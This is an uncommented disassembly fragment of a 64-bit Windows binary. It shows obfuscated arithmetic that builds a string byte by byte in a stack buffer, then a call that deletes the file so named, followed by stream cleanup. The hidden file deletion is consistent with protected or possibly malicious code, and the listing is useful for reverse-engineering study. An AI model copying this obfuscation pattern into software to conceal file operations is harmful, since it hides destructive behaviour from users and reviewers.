add rax, r9
jmp 0x14021880e
lea rcx, [rbx + r14]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x19
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140217e42
lea rcx, [rbx + r12]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
add r8b, 9
movzx r10d, bl
sub r10b, 0x33
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
add r10b, 0x65
add r10b, r11b
movzx ecx, r10b
mov byte [rbp + rbx + 0x30], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 0x74]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x2c
add dl, r11b
mov byte [rbp + rbx + 0x30], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
lea rcx, [rbx + r15]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
add r8b, 0x4d
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140217e42
sub r10b, 0x3d
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x55
jmp 0x140217e40
add r10b, 0x75
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea r8d, [r10 + r11]
sub r8b, 0x33
jmp 0x140217e30
lea rcx, [rbp + 0x17be864]
jmp 0x14021891a
lea rcx, [rbp + 0xab830b]
jmp 0x14021891a
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x218]
call fcn.140066260
lea rcx, [rbp + 0x218]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x328]
call fcn.140066260
lea rcx, [rbp + 0x328]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret